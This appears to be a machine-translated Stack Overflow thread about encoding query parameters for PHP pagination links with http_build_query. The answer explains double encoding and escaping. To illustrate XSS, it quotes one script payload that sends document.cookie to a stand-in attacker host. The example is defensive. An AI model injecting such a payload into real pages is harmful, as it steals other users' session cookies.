如何使用 http_build_query 编码?

How To Use http_build_query With Encodings?

我正在尝试构建一个分页部分,就像您在 Google 搜索结果页上看到的那样。 例子: 页码:12345678910

使用 http_build_query 构建分页部分。我不确定我是否将编码放在正确的位置。 urlencode()、intval()、htmlspecialchars()。

Url 看起来像这样: https:///localhost/search.php?search=cars&table=links&column=keyword&max=10&page=1

<?php

$row_count = 10;
$total_pages = ceil($row_count/$_GET['max']);
$selfpage = rawurlencode(basename(__FILE__)); //Is rawurlencode() ok here ?

$query_params = array(
    'search' => urlencode($_GET['search']),
    'table' => urlencode($_GET['table']),
    'column' => urlencode($_GET['column']),
    'max' => intval($_GET['max']),
    'page_no' => intval($_GET['page_no'])
    
);

for ($i = 1; $i <= $total_pages; $i++) {
    
    $url = $selfpage . "?" . http_build_query($query_params);
    echo '<a href="' . htmlspecialchars($url) . '">'; //Is htmlspecialchars() ok here ?

    if ($_GET['page_no'] == $i) 
    { 
        echo '<b>' . intval($i) . '</b>'; //Is intval() ok here ?
    } 
    else 
    {
        echo intval($i); //Is intval() ok here ?
    }

    echo '</a>';
}

?>

我担心我可能在哪些行上出错了,我已经写了评论询问我是否正确地完成了那条特定的行。请注意评论。

我也不想双重编码。 如果我做错了,那么如果有人可以编辑我的代码并告诉我应该怎么做,我将不胜感激。

谢谢

$selfpage = rawurlencode(basename(__FILE__)); //Is rawurlencode() ok here ?

这里不用rawurlencode()。它不会造成伤害,但它旨在使包含不安全字符的文本在 URL 中安全使用。您的文件名为 search.php,不需要编码。

如果您的文件名中有特殊字符,例如 space 或重音字符,使用 rawurlencode() 会很有用。

$query_params = array(
    'search' => urlencode($_GET['search']),
    'table' => urlencode($_GET['table']),
    'column' => urlencode($_GET['column']),
    'max' => intval($_GET['max']),
    'page_no' => intval($_GET['page_no'])
);

// and
$url = $selfpage . "?" . http_build_query($query_params);

http_build_query() 已经负责 URL 编码。您不应手动对稍后将通过 http_build_query() 传递的值使用 urlencode()。这将导致双重转义。

假设有人使用 ?search=a%2Fb 访问您的页面。 $_GET['search'] 将是 "a/b"。通过 urlencode() 传递它会将 $query_params['search'] 变成 "a%2Fb"。但是通过 http_build_query() 传递 that 将看到需要转义的 % 符号,因此 $url 将包含 search=a%252Fb.

你不想要那个,所以不要使用 urlencode()

intval() 用法不是绝对必要的,但也无妨。它将用户输入清理为一个数字,但您没有在任何地方使用 $query_params 中的 maxpage_no 值。在将这些值用作整数值的所有地方,您仍在使用 $_GET 中的原始值(在 $total_pages 的计算中并检查循环中的当前页面)。在 intval() 那里 比在 $query_params.

那里使用更有意义
echo '<a href="' . htmlspecialchars($url) . '">'; //Is htmlspecialchars() ok here ?

htmlspecialchars()用于防止脚本注入。没有必要在 URL 以净化的方式构建自己。

如果您要在页面上显示用户输入,请使用 htmlspecialchars(),例如:

You've searched for "<?php echo $_GET['search']; ?>".

如果你有类似的东西,理论上用户可以访问你的页面并注入一些 Javascript 代码,例如,?search=<script>fetch('https://my-evil-server.com/store-cookies.php?cookie=' + document.cookie);</script>(当然 URL- 转义,这只是为了便于阅读)。

显然,只是偷自己的 cookie 是没有意义的。但是,如果将 $_GET['search'] 的值保存到数据库中并将其显示给其他已登录用户,会怎样呢?然后这将导致那些其他用户的 cookie 被发送给这个恶意用户。不好。

使用 htmlspecialchars() 可以避免这种情况:

You've searched for "<?php echo htmlspecialchars($_GET['search']); ?>".

现在,最起码,<>字符将被&lt;&gt;取代,也就是说javascript ] 将在页面上显示为人类可读的文本,而不是浏览器可执行的代码。这看起来很愚蠢,但至少您没有将用户的 cookie 发送给黑客。

for ($i = 1; $i <= $total_pages; $i++) {
    echo intval($i); //Is intval() ok here ?
}

这里,intval()完全没有必要。 $i 已经是一个整数值,所以 intval() 什么都不做。

如此清理,您的最终代码可能如下所示:

<?php

$row_count = 10;
$total_pages = ceil($row_count/$_GET['max']);
$selfpage = basename(__FILE__);

$query_params = array(
    'search' => $_GET['search'],
    'table' => $_GET['table'],
    'column' => $_GET['column'],
    'max' => $_GET['max'],
    'page_no' => $_GET['page_no']
);

for ($i = 1; $i <= $total_pages; $i++) {
    // I noticed you removed this in your last edit, but without it
    // you will just output the same URL for every page
    $query_params['page_no'] = $i;
    
    $url = $selfpage . "?" . http_build_query($query_params);
    echo '<a href="' . $url . '">';

    if ($_GET['page_no'] == $i) 
    { 
        echo '<b>' . $i . '</b>';
    } 
    else 
    {
        echo $i;
    }

    echo '</a>';
}